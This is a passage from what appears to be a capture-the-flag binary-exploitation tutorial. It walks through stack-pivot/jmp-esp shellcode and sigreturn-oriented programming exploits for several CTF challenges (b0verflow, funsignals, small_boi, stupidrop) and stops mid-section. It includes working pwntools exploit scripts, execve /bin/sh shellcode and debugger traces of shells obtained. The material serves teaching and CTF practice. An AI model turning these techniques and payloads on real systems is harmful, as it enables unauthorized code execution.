[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
  0xffffd0f8 - 0xffffd100  →   "15935728"
gef➤  i f
Stack level 0, frame at 0xffffd120:
 eip = 0x804857a in vul; saved eip = 0x8048519
 called by frame at 0xffffd130
 Arglist at 0xffffd118, args:
 Locals at 0xffffd118, Previous frame's sp is 0xffffd120
 Saved registers:
  ebp at 0xffffd118, eip at 0xffffd11c
```

So the question is, what will we call. PIE isn't enabled, so we can call gadgets from the binary. At the moment we don't have a stack or libc infoleak. The gadgets from the binary won't be enough to pop a shell on it's own, however it will be enough to call shellcode on the stack without a stack infoleak:

Stack pivot gadget:

```
$    python ROPgadget.py --binary b0verflow | grep "sub esp"
0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
```

Jmp esp gadget:

```
$    python ROPgadget.py --binary b0verflow | grep "jmp esp"
0x08048504 : jmp esp
```

So we will call the Stack pivot gadget first, then the `jmp esp` gadget. The stack pivot gadget will move the stack pointer down to our own input. It will leave off by executing the first DWORD of our input as an instruction pointer. That instruction pointer will be the `jmp esp` gadget. When that instruction is executed, the `esp` pointer will point to the new DWORD, which will be the second `4` bytes of our input. We will store our shellcode there, which will be executed by the `jmp esp` gadget. Let's take a look at how these gadgets operate:

We start off with the stack pivot gadget:

```
0x080484fd in hint ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x1
$ebx   : 0x0
$ecx   : 0xf7f2b010  →  0x00000000
$edx   : 0x0
$esp   : 0xffa29750  →  0x08048504  →  <hint+7> jmp esp
$ebp   : 0x31313131 ("1111"?)
$esi   : 0xf7f29000  →  0x001dbd6c
$edi   : 0xf7f29000  →  0x001dbd6c
$eip   : 0x080484fd  →  <hint+0> push ebp
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────────── stack ────
0xffa29750│+0x0000: 0x08048504  →  <hint+7> jmp esp     ← $esp
0xffa29754│+0x0004: 0xf7f2000a  →  0x02b00e46
0xffa29758│+0x0008: 0x00000000
0xffa2975c│+0x000c: 0xf7d6b751  →  <__libc_start_main+241> add esp, 0x10
0xffa29760│+0x0010: 0x00000001
0xffa29764│+0x0014: 0xffa297f4  →  0xffa2a3e2  →  "./b0verflow"
0xffa29768│+0x0018: 0xffa297fc  →  0xffa2a3ee  →  "GNOME_TERMINAL_SCREEN=/org
/gnome/Terminal/screen/7[...]"
0xffa2976c│+0x001c: 0xffa29784  →  0x00000000
────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80484f2 <frame_dummy+34> jmp    0x8048470 <register_tm_clones>
    0x80484f7 <frame_dummy+39> nop
    0x80484f8 <frame_dummy+40> jmp    0x8048470 <register_tm_clones>
 →  0x80484fd <hint+0>         push   ebp
    0x80484fe <hint+1>         mov    ebp, esp
    0x8048500 <hint+3>         sub    esp, 0x24
    0x8048503 <hint+6>         ret
    0x8048504 <hint+7>         jmp    esp
    0x8048506 <hint+9>         ret
────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "b0verflow", stopped, reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80484fd → hint()
[#1] 0x8048504 → hint()
───────────────────────────────────────────────────────────────────────────────────
gef➤  p $esp
$1 = (void *) 0xffa29750
```

We can see that the `esp` register is equal to `0xffa29750`. We can see that it decrements the value of the `esp` register by `0x28` (`0x24` from the sub, `0x4` from the pop):

```
0x08048503 in hint ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────── registers ────
$eax   : 0x1
$ebx   : 0x0
$ecx   : 0xf7f2b010  →  0x00000000
$edx   : 0x0
$esp   : 0xffa29728  →  0x08048504  →  <hint+7> jmp esp
$ebp   : 0xffa2974c  →  0x31313131 ("1111"?)
$esi   : 0xf7f29000  →  0x001dbd6c
$edi   : 0xf7f29000  →  0x001dbd6c
$eip   : 0x08048503  →  <hint+6> ret
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
──────────────────────────────────────────────────────────────────── stack ────
0xffa29728│+0x0000: 0x08048504  →  <hint+7> jmp esp     ← $esp
0xffa2972c│+0x0004: 0x6850c031
0xffa29730│+0x0008: 0x68732f2f
0xffa29734│+0x000c: 0x69622f68
0xffa29738│+0x0010: 0x50e3896e
0xffa2973c│+0x0014: 0xb0e18953
0xffa29740│+0x0018: 0x3180cd0b
0xffa29744│+0x001c: 0x31313131
────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80484fd <hint+0>         push   ebp
    0x80484fe <hint+1>         mov    ebp, esp
    0x8048500 <hint+3>         sub    esp, 0x24
 →  0x8048503 <hint+6>         ret
   ↳   0x8048504 <hint+7>         jmp    esp
       0x8048506 <hint+9>         ret
       0x8048507 <hint+10>        mov    eax, 0x1
       0x804850c <hint+15>        pop    ebp
       0x804850d <hint+16>        ret
       0x804850e <main+0>         push   ebp
────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "b0verflow", stopped, reason: SINGLE STEP
──────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048503 → hint()
[#1] 0x8048504 → hint()
[#2] 0x8048504 → hint()
───────────────────────────────────────────────────────────────────────────────
gef➤  p $esp
$2 = (void *) 0xffa29728
gef➤  x/w 0xffa29728
0xffa29728:    0x8048504
gef➤  x/2i 0x8048504
=> 0x8048504 <hint+7>:    jmp    esp
   0x8048506 <hint+9>:    ret
```

We can see that `esp` points to our `jump esp` gadget at the start of our input.

```
0x08048504 in hint ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x1
$ebx   : 0x0
$ecx   : 0xf7f2b010  →  0x00000000
$edx   : 0x0
$esp   : 0xffa2972c  →  0x6850c031
$ebp   : 0xffa2974c  →  0x31313131 ("1111"?)
$esi   : 0xf7f29000  →  0x001dbd6c
$edi   : 0xf7f29000  →  0x001dbd6c
$eip   : 0x08048504  →  <hint+7> jmp esp
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
─────────────────────────────────────────────────────────────────────── stack ────
0xffa2972c│+0x0000: 0x6850c031     ← $esp
0xffa29730│+0x0004: 0x68732f2f
0xffa29734│+0x0008: 0x69622f68
0xffa29738│+0x000c: 0x50e3896e
0xffa2973c│+0x0010: 0xb0e18953
0xffa29740│+0x0014: 0x3180cd0b
0xffa29744│+0x0018: 0x31313131
0xffa29748│+0x001c: 0x31313131
───────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80484fe <hint+1>         mov    ebp, esp
    0x8048500 <hint+3>         sub    esp, 0x24
    0x8048503 <hint+6>         ret
 →  0x8048504 <hint+7>         jmp    esp
    0x8048506 <hint+9>         ret
    0x8048507 <hint+10>        mov    eax, 0x1
    0x804850c <hint+15>        pop    ebp
    0x804850d <hint+16>        ret
    0x804850e <main+0>         push   ebp
───────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "b0verflow", stopped, reason: SINGLE STEP
─────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048504 → hint()
[#1] 0x8048504 → hint()
──────────────────────────────────────────────────────────────────────────────────
gef➤  p $esp
$4 = (void *) 0xffa2972c
gef➤  x/10i 0xffa2972c
   0xffa2972c:    xor    eax,eax
   0xffa2972e:    push   eax
   0xffa2972f:    push   0x68732f2f
   0xffa29734:    push   0x6e69622f
   0xffa29739:    mov    ebx,esp
   0xffa2973b:    push   eax
   0xffa2973c:    push   ebx
   0xffa2973d:    mov    ecx,esp
   0xffa2973f:    mov    al,0xb
```

```
0xffa29741:    int    0x80
```

We can see that when the `jmp esp` gadget is ran, `esp` points to our shellcode (which is stored right after the `jmp esp` gadget). With that, our shellcode is executed and we get a shell. Also I did not write the shellcode myself, I got it from `http://shell-storm.org/shellcode/files/shellcode-827.php`.

Exploit

Putting it all together, we have the following exploit:

```
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files
/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50
\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and
saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()
```

When we run the exploit:

```
$    python exploit.py
[+] Starting local process './b0verflow': pid 18753
[*] Switching to interactive mode

======================

Welcome to X-CTF 2016!

======================
What's your name?
Hello \x04\x85\x01�Ph//shh/bin\x89�PS\x89�
                                          111111111��
.$                                                  w
 01:25:14 up 11:10,  1 user,  load average: 1.04, 1.27, 1.35
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               14:15   ?xdm?  42:41   0.01s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin
/gnome-session --session=ubuntu
$ ls
ROPgadget.py  b0verflow  core  exploit.py  readme.md
```

Just like that, we popped a shell!

SIGROP (SROP)

Backdoorctf Funsignals

Let's take a look at the binary (also the goal of this challenge will be to print the flag, not pop a shell):

```
$    file funsignals_player_bin
funsignals_player_bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
statically linked, not stripped
$    pwn checksec funsignals_player_bin
[*] '/Hackery/pod/modules/srop/backdoor_funsignals/funsignals_player_bin'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x10000000)
    RWX:      Has RWX segments
$    /funsignals_player_bin
15935728
Segmentation fault (core dumped)
```

So we can see that it is a `64` bit statically linked binary, with none of the standard binary mitigations. When we run it, we see that it scans in input, then seg faults.

Reversing

Looking at the code in Ghidra, we see that this isn't a normal binary (probably just assembled versus compiled). Looking at the assembly code we see this:

```
                             //
                             // .shellcode 
                             // SHT_PROGBITS  [0x10000000 - 0x1000004a]
                             // ram: 10000000-1000004a
                             //
                             
 **************************************************************
                             *                          FUNCTION                          
 *
                             
 **************************************************************
                             undefined entry()
             undefined         AL:1           <RETURN>
                             _start                                          
 XREF[4]:     Entry Point(*), 
                             __start                                                                                                                                                  
 _elfHeader::00000018(*), 
                             entry                                                                                                                                                    
 _elfProgramHeaders::00000010(*), 
                                                                                                                                                                                      
 _elfSectionHeaders::00000050(*)  
         10000000 31 c0           XOR        EAX,EAX
         10000002 31 ff           XOR        EDI,EDI
         10000004 31 d2           XOR        EDX,EDX
         10000006 b6 04           MOV        DH,0x4
         10000008 48 89 e6        MOV        RSI,RSP
         1000000b 0f 05           SYSCALL
         1000000d 31 ff           XOR        EDI,EDI
         1000000f 6a 0f           PUSH       0xf
         10000011 58              POP        RAX
         10000012 0f 05           SYSCALL
         10000014 cc              INT        3
```

So we can see here, it executes two syscalls. For the first, the registers are equal to this:

```
RAX:    0x0
RDI:    0x0
RDX:    0x400
RSI:    ptr to top of stack (stack pointer rsp)
```

So here it is making a read syscall (check https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ for more details). It is scanning in `0x400` bytes of data via stdin into the top of the stack.

For the next syscall, the registers are equal to this:

```
RAX:    0xf
RDI:    0x0
```

So here it is performing a Sigreturn syscall. When the kernel delivers a signal from a program, it creates a frame on the stack before it is passed to the signal handler. Then after that is done that frame is used as context for a sigreturn syscall to return code execution to where it was interrupted. It does this by popping values off of the top of the stack into registers, which were stored there so execution could continue after the signal is dealt with. The syscall itself takes a single argument in the rdi register (however for our use, it's not important in this context). We can tell that a sigreturn syscall is being made since it pops the value 0xf into the rax register before making the syscall to speecify a sigreturn syscall. Checkout https://lwn.net/Articles/676803/ and https://thisissecurity.stormshield.com/2015/01/03/playing-with-signals-an-overview-on-sigreturn-oriented-programming/ for more.

Also another important thing to note, we can see that the flag is stored in the binary at the address `0x10000023`:

```
                             flag
        10000023 66 61 6b        ds
"fake_flag_here_as_original_is_at_server"
                 65 5f 66
                 6c 61 67
```

Exploitation

So for our exploitation, we will be doing a Sigreturn Oriented Programming attack (SROP). Essentially what that is is when we use a sigreturn to take control of the all of the registers. Since we get to scan in `0x400` bytes worth of data to the top of the stack which is pointed to by the `rsp` register (along with the fact that it makes a sigreturn call after that), and a sigreturn pops values off of the top of the stack into the registers.

SROP is really useful in a lot of cases where traditional ROP won't work. It gives us control of the instruction pointer which is executed, and all other registers.

Just if you're curiosus, this is the sigcontext structure that is stored on the stack, which is used by the `sigreturn` to pop values into the register (for `x64`). This diagram is originally from https://amriunix.com/post/sigreturn-oriented-programming-srop/:

```
+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+
```

So now is the question of what will we do with our syscall. Looking through the code, we can see multiple syscalls (both will work for our purposes, doesn't matter too much for our purposes):

```
        1000000b 0f 05           SYSCALL

        10000012 0f 05           SYSCALL
```

So using the sigreturn, we can set `rip` to either address and execute a syscall. Since we have control over the registers, we can control what syscall is made. We can just go with a write syscall, to print the contents of the flag to us. To do that, we will need to set the following registers equal to these values:

```
RIP:    0x1000000b (address of a syscall, could use other syscalls)
RAX:    0x1 (specify write syscall)
RDI:    0x1 (specify stdout to write it to)
RSI:    0x10000023 (address of the flag)
RDX:    0x400 (amount of bytes to print, 0x400 is clearly overkill)
```

Exploit

Putting it all together, we have the following exploit. Also one thing, pwntools has the capability to automatically build out a sigreturn frame, you just need to specify what values you want for what registers. It makes this really easy:

```
from pwn import *

target = process('./funsignals_player_bin')

# Specify the architecture
context.arch = "amd64"

frame = SigreturnFrame()

# Specify rip to point to the syscall instruction
frame.rip = 0x1000000b

# Prep the registers for a write syscall
frame.rax = 0x1
frame.rdi = 0x1
frame.rsi = 0x10000023
frame.rdx = 0x400

# Send the sigreturn frame
target.send(str(frame))

target.interactive()
```

When we run it:

```
$    python exploit.py
[+] Starting local process './funsignals_player_bin': pid 7092
[*] Switching to interactive mode
fake_flag_here_as_original_is_at_server\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x04\x00��\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x15\x00\x00\x10\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00#\x00\x00\x00\x00\x00\x00#\x00\x00\x10\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x00\x00\x00\x10\x00\x00\x00\x00\x00
\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00)\x00\x00\x00\x10\x00
\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x000\x00
\x00\x00\x10\x00��@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<\x00
\x00\x00\x10\x00��@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00C\x00
\x00\x00\x10\x00��@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00/tmp
/pwn-asm-T0zexC/step2\x00syscall\x00flag\x00__start\x00__bss_start\x00_edata
\x00_end\x00\x00.symtab\x00.strtab\x00.shstrtab\x00.shellcode\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x10\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00K\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x88\x11\x00\x00\x00\x00\x00\x00&
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\x10\x00\x00\x00\x00\x00
\x00�\x00\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x0\x00\x00\x00\x00\x00\x00\x00
\x18\x00\x00\x00\x00\x00\x00\x00    \x00\x00\x00\x03\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x11\x00\x00\x00\x00
\x00\x00H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\[*]
Got EOF while reading in interactive
```

Just like that, we got the flag (followed by a lot of null bytes)!

Csaw 2019 Smallboi

Let's take a look at the binary:

```
$    file small_boi
small_boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically
linked, BuildID[sha1]=070f96f86ab197c06c4a6896c26254cce3d57650, stripped
$    pwn checksec small_boi
[*] '/Hackery/pod/modules/16-srop/csaw19_smallboi/small_boi'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./small_boi
15935728
```

So we can see that we are dealing with a `64` bit binary, with `NX`. When we run the binary, it prompts us for input.

Reversing

So when we look at the binary in Ghidra, we see some interesting assembly:

```
                              //
                              // .text
                              // SHT_PROGBITS  [0x40017c - 0x4001c9]
                              // ram: 0040017c-004001c9
                              //

**************************************************************
                              *                           FUNCTION
*

**************************************************************
                              undefined FUN_0040017c()
             undefined         AL:1           <RETURN>
                              FUN_0040017c
XREF[3]:     004001e0, 00400218(*),

_elfSectionHeaders::00000090(*)
        0040017c 55              PUSH       RBP
        0040017d 48 89 e5        MOV        RBP,RSP
        00400180 b8 0f 00        MOV        EAX,0xf
                 00 00
        00400185 0f 05           SYSCALL
        00400187 90              NOP
        00400188 5d              POP        RBP
        00400189 c3              RET
        0040018a 58              ??         58h    X
        0040018b c3              ??         C3h

**************************************************************
                              *                           FUNCTION
*

**************************************************************
                              undefined FUN_0040018c()
             undefined         AL:1           <RETURN>
             undefined1        Stack[-0x28]:1 local_28
XREF[1]:     00400190(*)
                              FUN_0040018c
XREF[3]:     entry:004001b6(c), 004001e8,

00400238(*)
        0040018c 55              PUSH       RBP
        0040018d 48 89 e5        MOV        RBP,RSP
        00400190 48 8d 45 e0     LEA        RAX=>local_28,[RBP + -0x20]
        00400194 48 89 c6        MOV        RSI,RAX
        00400197 48 31 c0        XOR        RAX,RAX
        0040019a 48 31 ff        XOR        RDI,RDI
        0040019d 48 c7 c2        MOV        RDX,0x200
                 00 02 00 00
        004001a4 0f 05           SYSCALL
        004001a6 b8 00 00        MOV        EAX,0x0
                 00 00
```

```
        004001ab 5d              POP        RBP
        004001ac c3              RET

**************************************************************
                             *                          FUNCTION
*

**************************************************************
                             undefined entry()
             undefined         AL:1           <RETURN>
                             entry
XREF[4]:     Entry Point(*), 00400018(*),

004001f0, 00400258(*)
        004001ad 55              PUSH       RBP
        004001ae 48 89 e5        MOV        RBP,RSP
        004001b1 b8 00 00        MOV        EAX,0x0
                 00 00
        004001b6 e8 d1 ff        CALL       FUN_0040018c
undefined FUN_0040018c()
                 ff ff
        004001bb 48 31 f8        XOR        RAX,RDI
        004001be 48 c7 c0        MOV        RAX,0x3c
                 3c 00 00 00
        004001c5 0f 05           SYSCALL
        004001c7 90              NOP
        004001c8 5d              POP        RBP
        004001c9 c3              RET
                             //
                             // .rodata
                             // SHT_PROGBITS  [0x4001ca - 0x4001d1]
                             // ram: 004001ca-004001d1
                             //
                             s_/bin/sh_004001ca
XREF[1]:     _elfSectionHeaders::000000d0(*)
        004001ca 2f 62 69        ds         "/bin/sh"
                 6e 2f 73
                 68 00
```

So we see a small amount of assembly instructions. We see that it starts at `0x4001ad` , which it then calls the `0x40018c` function. We see that that code there will make a read syscall, which will scan in `0x200` bytes worth of data. Looking at the layout of the stack (or just checking out the memory in gdb), we see that after `0x28` bytes of input from that read syscall we overwrite the return address. So we have a buffer overflow.

Exploitation

So we can get code execution. The problem now is what code will we execute? The binary has very little instructions with it, and isn't linked with libc:

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /Hackery
/pod/modules/16-srop/csaw19_smallboi/small_boi
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /Hackery
/pod/modules/16-srop/csaw19_smallboi/small_boi
0x00007ffff7ffb000 0x00007ffff7ffe000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
```

In addition to that, the Stack is not executable. However there is a function that will help us:

```
                             //
                             // .text
                             // SHT_PROGBITS  [0x40017c - 0x4001c9]
                             // ram: 0040017c-004001c9
                             //

**************************************************************
                             *                          FUNCTION
*

**************************************************************
                             undefined FUN_0040017c()
             undefined         AL:1          <RETURN>
                             FUN_0040017c
XREF[3]:     004001e0, 00400218(*),

_elfSectionHeaders::00000090(*)
        0040017c 55              PUSH       RBP
        0040017d 48 89 e5        MOV        RBP,RSP
        00400180 b8 0f 00        MOV        EAX,0xf
                 00 00
        00400185 0f 05           SYSCALL
        00400187 90              NOP
        00400188 5d              POP        RBP
        00400189 c3              RET
        0040018a 58              ??         58h    X
        0040018b c3              ??         C3h
```

This will make a sigreturn call, where the input is what is on the stack. What we can do is call this function, and provide a sigreturn frame as the input. This will allow us to perform an SROP attack. When we do this, the stack will shift by `0x8` bytes so we will need to account for that in our exploit.

Now for the SROP attack, we will make a syscall to `execve("/bin/sh", NULL, NULL)`. Luckily for us, the string `/bin/sh` is in the binary at `0x4001ca`:

```
                              //
                              // .rodata
                              // SHT_PROGBITS  [0x4001ca - 0x4001d1]
                              // ram: 004001ca-004001d1
                              //
                              s_/bin/sh_004001ca
 XREF[1]:     _elfSectionHeaders::000000d0(*)
        004001ca 2f 62 69        ds         "/bin/sh"
                 6e 2f 73
                 68 00
```

That is everything we need to write the exploit.

Exploit

Putting it all together, we have the following exploit:

```
from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return
shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()
```

When we run it:

```
$    python exploit.py
[+] Starting local process './small_boi': pid 3434
[*] Switching to interactive mode
$ w
 21:17:05 up 16 min,  1 user,  load average: 0.12, 0.19, 0.28
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               21:00   ?xdm?  51.68s  0.01s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin
/gnome-session --session=ubuntu
$ ls
exploit.py  readme.md  small_boi
$
```

Inctf 2017 stupidrop

Let's take a look at the binary:

```
$    file stupidrop
stupidrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=4f0ff8340bc3eead42d0f7b14535ee7c74a6ca7d, not stripped
$    pwn checksec stupidrop
[*] '/Hackery/pod/modules/srop/inctf17_stupidrop/stupidrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./stupidrop
15935728
```

So we can see that we are dealing with a `64` bit dynamically linked binary, with an NX stack. When we run it, it prompts us for input:

Reversing

Looking at the main function, we can see an obvious bug:

```
undefined8 main(void)

{
  char input [48];

  setvbuf(stdout,(char *)0x0,2,0);
  alarm(0x20);
  gets(input);
  return 0;
}
```

So it uses `gets`, which gives us a buffer overflow (when we check the offset, we see it is `0x38`) that we can hit the saved return address with. Since there is no Stack Canary, we will be able to get code execution without a leak.

Writing /bin/sh

So for our exploit, we will be using an SROP attack to jump to a syscall, and make an `execve("/bin/sh", NULL, NULL)` call. To do that, we will need to write `/bin/sh\x00` somewhere to memory, at an address we know. Looking at the bss in Ghidra, we see that `0x601050` would probably be a good candidate. This is because it doesn't look like anything is stored there that would mess with what we are doing, we know it's address (thanks to no PIE), and that it is in a memory region that we can read and write to:

```
        00601050 00              undefined1 00h
        00601051 00              ??         00h
        00601052 00              ??         00h
        00601053 00              ??         00h
        00601054 00              ??         00h
        00601055 00              ??         00h
        00601056 00              ??         00h
        00601057 00              ??         00h
```

Now for how to write `/bin/sh\x00` to `0x601050`, we will call `gets`. The function `gets` is imported (we can see it under the list of imports in Ghidra), and since PIE isn't enabled we know it's address. So we will just call `gets` with `0x601050` as an argument (which we have the rop gadgets for), and write `/bin/sh\x00` to `0x601050`.

Getting the rop gadget:

```
$ python ROPgadget.py --binary stupidrop | grep "pop rdi"
0x00000000004006a3 : pop rdi ; ret
```

Writing Rax Value

